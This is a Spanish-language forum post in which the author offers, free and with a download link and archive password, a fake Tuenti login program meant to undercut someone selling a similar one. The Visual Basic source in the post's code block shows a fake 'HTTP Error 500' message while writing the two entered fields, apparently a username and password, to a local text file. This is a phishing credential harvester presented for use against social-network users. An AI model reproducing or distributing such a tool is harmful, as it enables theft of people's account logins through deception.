el otro dia ya comente un video sobre una persona que vendia un fake de tuenti y bueno si lo han visto lo recordaran.El tipo lo vendia a nose si creo recordar eran unos 3 euros o algo asi.Yo he creado uno parecido, tengo que decir que el suyo estaba mas currado pero bueno el resultado es el mismo, los dos sirven por igual solo que el mio es gratis.He recibido a mi cuenta de youtube un mensaje de esta persona que vendia su programa intentado de alguna forma amenazarme xDD y yo solo lo que hize fue comentar en su video que intentaria crear uno igual y lo subiria gratis pero en fin la gente es asi jaja
Les dejo el programa que la verdad no tiene ninguna complicacion programarlo y apenas tiene lineas de codigo pero me ha echo ilusion porque es mi primer programa y eso
DESCARGA:http://www.megaupload.com/?d=FNHD7BT8
PASS: norteacomputer
Código
Private Sub Command1_Click() MsgBox ("HTTP Error 500 Internal server error") Dim F As Byte F = FreeFile Open App.Path & "\" & "FILESAVE.txt" For Append As #F Print #F, Text1.Text Print #F, Text2.Text Close #F End Sub